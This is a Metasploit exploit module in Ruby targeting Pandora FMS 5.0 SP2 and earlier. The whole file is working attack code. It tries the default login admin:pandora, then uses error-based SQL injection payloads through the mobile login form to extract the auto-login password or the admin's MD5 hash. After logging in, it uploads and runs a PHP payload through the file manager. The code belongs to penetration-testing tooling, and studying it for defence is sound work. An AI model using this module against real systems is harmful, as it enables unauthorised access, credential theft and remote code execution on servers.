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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Pandora FMS SQLi Remote Code Execution', 'Description'=> %q{ This module attempts to exploit multiple issues in order to gain remote code execution under Pandora FMS version <= 5.0 SP2.First, an attempt to authenticate using default credentials is performed.If this method fails, a SQL injection vulnerability is leveraged in order to extract the "Auto Login" password hash.If this value is not set, the module will then extract the administrator account's MD5 password hash. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept 'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module ], 'References' => [ ['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'], ['URL', 'http://blog.pandorafms.org/?p=2041'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ ['Pandora FMS version <= 5.0 SP2', {}] ], 'Privileged' => false, 'Payload'=> { 'Space' => 50000, 'DisableNops' => true, }, 'DisclosureDate' => "Feb 1 2014", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']), OptString.new('USER', [false, 'The username to authenticate with', 'admin']), OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']), ], self.class) end def uri target_uri.path end def check vprint_status("#{peer} - Trying to detect installed version") version = nil res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(uri, 'index.php') }) if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/ if res.body =~ /<div id="ver_num">v(.*?)<\/div>/ version = $1 else return Exploit::CheckCode::Detected end end unless version.nil? vprint_status("#{peer} - Pandora FMS #{version} found") if Gem::Version.new(version) <= Gem::Version.new('5.0SP2') return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end # Attempt to login with credentials (default admin:pandora) def authenticate res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'login' => "1", }, 'vars_post' => { 'nick' => datastore['USER'], 'pass' => datastore['PASS'], 'Login' => 'Login', } }) return auth_succeeded?(res) end # Attempt to login with auto login and SQLi def login_hash clue = rand_text_alpha(8) sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join # select value from tconfig where token = 'loginhash_pwd'; sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST" sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 " sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP " sqli << "BY x)a) AND 'msf'='msf" password = inject_sql(sqli, clue) if password && password.length != 0 print_status("#{peer} - Extracted auto login password (#{password})") else print_error("#{peer} - No auto login password has been defined!") return false end print_status("#{peer} - Attempting to authenticate using (admin:#{password})") # Attempt to login using login hash password res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'loginhash' => 'auto', }, 'vars_post' => { 'loginhash_data' => Rex::Text.md5("admin#{password}"), 'loginhash_user' => 'admin', } }) return auth_succeeded?(res) end def auth_succeeded?(res) if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS') print_status("#{peer} - Successfully authenticated!") print_status("#{peer} - Attempting to retrieve session cookie") @cookie = res.get_cookies if @cookie.include?('PHPSESSID') print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}") return true else print_error("#{peer} - Error retrieving cookie!") end else print_error("#{peer} - Authentication failed!") end false end def extract # Generate random string and convert to hex clue = rand_text_alpha(8) hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join # select password from tusuario where id_user = 0; sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL" sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)" sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY " sqli << "x)a) AND 'msf'='msf" password = inject_sql(sqli, clue) if password && password.length != 0 print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]") else print_error("#{peer} - Unable to extract password hash!") return false end end def inject_sql(sql, fence_post) # Extract password hash from database res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(uri, 'mobile', 'index.php'), 'vars_post' => { 'action' => 'login', 'user' => sql, 'password' => 'pass', 'input' => 'Login' } }) result = nil if res && res.code == 200 match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/) if match result = match[1] else print_error("#{peer} - SQL injection failed") end end result end def upload # Extract hash and hash2 from response res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, 'uri'=> normalize_uri(uri, 'index.php'), 'vars_get' => { 'sec' => 'gsetup', 'sec2' => 'godmode/setup/file_manager' } }) if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/ form = $1 # Extract hash if form =~ /(?<=name="hash" type="hidden"value=")(.*?)(?=" \/>)/ hash = $1 else print_error("#{peer} - Could not extract hash from response!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end # Extract hash2 if form =~ /(?<=name="hash2" type="hidden"value=")(.*?)(?=" \/>)/ hash2 = $1 else print_error("#{peer} - Could not extract hash2 from response!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end # Extract real_directory if form =~ /(?<=name="real_directory" type="hidden"value=")(.*?)(" \/>)/ real_directory = $1 else print_error("#{peer} - Could not extract real_directory from response!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end else print_error("#{peer} - Could not identify upload form!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end # Upload script @payload_name = "#{rand_text_alpha(8)}.php" post_data = Rex::MIME::Message.new post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^) post_data.add_part('', nil, nil, 'form-data; name="unmask"') post_data.add_part('Go', nil, nil, 'form-data; name="go"') post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"') post_data.add_part('images', nil, nil, 'form-data; name="directory"') post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"') post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"') post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"') print_status("#{peer} - Attempting to upload payload #{@payload_name}...") res = send_request_cgi({ 'method' => 'POST', 'cookie' => @cookie, 'uri'=> normalize_uri(uri, 'index.php'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'vars_get' => { 'sec' => 'gsetup', 'sec2' => 'godmode/setup/file_manager' } }) if res && res.code == 200 && res.body.include?("Upload correct") register_file_for_cleanup(@payload_name) print_status("#{peer} - Successfully uploaded payload") else fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end end def exploit # First try to authenticate using default or user-supplied credentials print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})") auth = authenticate unless auth print_status("#{peer} - Attempting to extract auto login hash via SQLi") auth = login_hash end unless auth print_status("#{peer} - Attempting to extract admin password hash with SQLi") extract fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!") end print_status("#{peer} - Uploading PHP payload...") upload print_status("#{peer} - Executing payload...") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(uri, 'images', @payload_name), 'cookie' => @cookie }, 1) end end |
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